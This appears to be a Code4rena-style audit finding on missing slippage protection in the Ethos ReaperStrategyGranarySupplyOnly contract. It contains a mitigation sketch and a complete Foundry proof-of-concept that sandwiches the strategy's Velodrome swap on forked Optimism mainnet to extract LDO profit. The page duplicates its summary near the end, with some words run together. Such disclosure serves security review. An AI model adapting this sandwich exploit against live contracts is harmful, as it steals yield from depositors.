Missing slippage protection allows for profits to be stolen
Summary
ReaperStrategyGranarySupplyOnly features swapping additional reward tokens to the want token on Velodrome. Due to missing slippage checks, this swap can be sandwiched and the rewards stolen.
Detailed description
ReaperStrategyGranarySupplyOnly takes a want token and deposits it on Granary to generate more want tokens. For certain tokens, Granary offers additional rewards in the form of additional tokens. For example, depositing wstETH will yield more wstETH plus LDO tokens over time. Since the system is designed to work with a single token only, the strategy uses Velodrome, a Uniswap V2 fork, to swap the additional yield tokens to the want token.
The issue with this swap is that there is no slippage protection in place. After the strategy swapped the tokens, it does not check whether it received an acceptable output amount. This enables calls to _harvestCore to be sandwiched by MEV bots or other attackers in order to steal these profits which should be distributed to Ethos' users and depositors.
Recommended mitigation
The strategy needs to check that it received an acceptable amount of tokens after swapping. To be able to check this condition, the strategy needs to know how much yield tokens are roughly worth in terms of want tokens. This data can be supplied by integrating an oracle into the strategy, either an off-chain oracle such as Chainlink or an on-chain oracle such as DEX TWAP oracles.
When the strategy has pricing data available, it can simply check that the output amount matches roughly after swapping:
function _harvestCore(uint256 _debt) internal override returns (int256 roi, uint256 repayment) {
// ...
// After swap:
// Calculate the worth of the sold yield tokens
uint256 yieldTokenWorth = amountSoldYieldTokens * yieldTokenPriceFromOracle;
// Calculate the worth of the received want tokens
uint256 outputWantTokenWorth = amountReceivedWantTokens * wantTokenPriceFromOracle;
// Allow for 2% slippage (as an example) from the oracle price
require(outputWantTokenWorth >= (yieldTokenWorth * 98 / 100), "slippage too high");
// ...
}
To set up, run forge init --force --no-git followed by forge install in the Ethos-Vault directory. Then paste the following code below into test/Exploit.sol and run it with forge test -vv --fork-url https://optimism-mainnet.infura.io/v3/d0696251f54441c2a48cf9dadc669d76 (feel free to use your own RPC if you wish to do so). You should see output similar to this:
Running 1 test for test/Exploit.sol:ExploitTest
[PASS] testExploit() (gas: 9982191)
Logs:
Profit in LDO tokens:
148
For an explanation regarding the inner workings of the PoC itself, please refer to the comment in the code.
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "forge-std/Test.sol";
import "../contracts/ReaperVaultERC4626.sol";
import "../contracts/ReaperStrategyGranarySupplyOnly.sol";
import "../contracts/interfaces/IVeloRouter.sol";
/*
This snippet demonstrates exploiting the `ReaperStrategyGranarySupplyOnly` strategy to steal its profits.
The documentation below is only intended to describe the PoC code, for details about the bug itself please
refer to the description in the bug report.
The process begins by setting up an environment as it would look like on chain:
- a `ReaperVaultERC4626`
- managing a `ReaperStrategyGranarySupplyOnly`
- which takes `wstETH` tokens and deposits them on Granary
- to generate more `wstETH` and `LDO` tokens as yield
- and swaps `LDO` to `wstETH` upon drawing profits from Granary
This setup is done in `testExploit`, which is the entry point to this script.
After the setup is complete, `main()` is invoked to run the actual exploit.
It will first dump `LDO` in the Velodrome pool, execute the sandwiched transaction,
and finally backrun the sandwiched transaction to make a profit.
Note that this script must be run on forked Optimism mainnet. This means that the state on mainnet
could change in such a way that this exploit needs adaptation in order to work again, for example the
Velodrome pool balances changing in a way which needs the `DUMP_AMOUNT` to be adjusted.
As of 22nd February it works as expected.
Finally, since this is a PoC, the values used are not calculated to be optimal, and more profit
can be generated in a real scenario by finding the mathematically optimal settings.
*/
contract ExploitTest is Test {
IVeloRouter router = IVeloRouter(0xa132DAB612dB5cB9fC9Ac426A0Cc215A3423F9c9);
IERC20 wstEth = IERC20(0x1F32b1c2345538c0c6f582fCB022739c4A194Ebb);
IERC20 gwstEth = IERC20(0x1a7450AACc67d90afB9e2C056229973354cc8987);
IERC20 ldo = IERC20(0xFdb794692724153d1488CcdBE0C56c252596735F);
ReaperVaultERC4626 vault;
ReaperStrategyGranarySupplyOnly strategy;
uint256 DUMP_AMOUNT = 10_000 ether;
function main() internal {
// Main exploit, runs after setup is complete
// Step 1: Dump the pool
deal(address(ldo), address(this), DUMP_AMOUNT);
ldo.approve(address(router), type(uint256).max);
// Store the initial balance to calculate profit later
uint256 balanceBefore = ldo.balanceOf(address(this));
IVeloRouter.route[] memory routes = new IVeloRouter.route[](1);
routes[0] = IVeloRouter.route({from: address(ldo), to: address(wstEth), stable: false});
router.swapExactTokensForTokens(DUMP_AMOUNT, 0, routes, address(this), block.timestamp + 1);
// Step 2: Let the sandwiched transaction execute
strategy.harvest();
// Step 3: Backrun the sandwiched transaction
wstEth.approve(address(router), type(uint256).max);
routes[0] = IVeloRouter.route({from: address(wstEth), to: address(ldo), stable: false});
router.swapExactTokensForTokens(wstEth.balanceOf(address(this)), 0, routes, address(this), block.timestamp + 1);
// Print profit
console.log("Profit in LDO tokens:");
console.log((ldo.balanceOf(address(this)) - balanceBefore) / 1 ether);
}
function testExploit() external {
// ENTRY POINT
// Set up the environment
// Deploy the vault
address[] memory strategists = new address[](1);
strategists[0] = address(this);
address[] memory multisigRoles = new address[](3);
multisigRoles[0] = address(this);
multisigRoles[1] = address(this);
multisigRoles[2] = address(this);
vault = new ReaperVaultERC4626(
address(wstEth),
"VAULT",
"VAULT",
type(uint256).max,
address(this),
strategists,
multisigRoles
);
// Deploy the strategy
address logic = address(new ReaperStrategyGranarySupplyOnly());
strategy = ReaperStrategyGranarySupplyOnly(
address(
new ERC1967Proxy(
logic,
abi.encodeWithSelector(
ReaperStrategyGranarySupplyOnly.initialize.selector,
address(vault),
strategists,
multisigRoles,
IAToken(address(gwstEth))
)
)
)
);
// Set swap steps
address[2][] memory steps = new address[2][](1);
steps[0][0] = address(ldo);
steps[0][1] = address(wstEth);
strategy.setHarvestSteps(steps);
// Set swap path
address[] memory path = new address[](2);
path[0] = address(ldo);
path[1] = address(wstEth);
strategy.updateVeloSwapPath(address(ldo), address(wstEth), path);
// Add strategy to vault
vault.addStrategy(address(strategy), 0, 10000);
// Deposit funds
deal(address(wstEth), address(this), 1_000 ether);
wstEth.approve(address(vault), type(uint256).max);
vault.depositAll();
// Send initial funds to strategy
strategy.harvest();
// Increase block time and number to simulate accumlating rewards
vm.roll(block.number + 100_000);
vm.warp(block.timestamp + 100_000 * 12);
// Execute the main exploit
main();
}
}
Lines of code
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L114
Vulnerability details
Missing slippage protection allows for profits to be stolen
Summary
ReaperStrategyGranarySupplyOnly
features swapping additional reward tokens to thewant
token on Velodrome. Due to missing slippage checks, this swap can be sandwiched and the rewards stolen.Detailed description
ReaperStrategyGranarySupplyOnly
takes awant
token and deposits it on Granary to generate morewant
tokens. For certain tokens, Granary offers additional rewards in the form of additional tokens. For example, depositingwstETH
will yield morewstETH
plusLDO
tokens over time. Since the system is designed to work with a single token only, the strategy uses Velodrome, a Uniswap V2 fork, to swap the additional yield tokens to thewant
token.The issue with this swap is that there is no slippage protection in place. After the strategy swapped the tokens, it does not check whether it received an acceptable output amount. This enables calls to
_harvestCore
to be sandwiched by MEV bots or other attackers in order to steal these profits which should be distributed to Ethos' users and depositors.Recommended mitigation
The strategy needs to check that it received an acceptable amount of tokens after swapping. To be able to check this condition, the strategy needs to know how much yield tokens are roughly worth in terms of
want
tokens. This data can be supplied by integrating an oracle into the strategy, either an off-chain oracle such as Chainlink or an on-chain oracle such as DEX TWAP oracles.When the strategy has pricing data available, it can simply check that the output amount matches roughly after swapping:
PoC
Due to the complexity of the PoC, it is implemented as Forge test. If you do not have Forge installed yet please follow the Foundry quick installation guide in the Github README.
To set up, run
forge init --force --no-git
followed byforge install
in theEthos-Vault
directory. Then paste the following code below intotest/Exploit.sol
and run it withforge test -vv --fork-url https://optimism-mainnet.infura.io/v3/d0696251f54441c2a48cf9dadc669d76
(feel free to use your own RPC if you wish to do so). You should see output similar to this:For an explanation regarding the inner workings of the PoC itself, please refer to the comment in the code.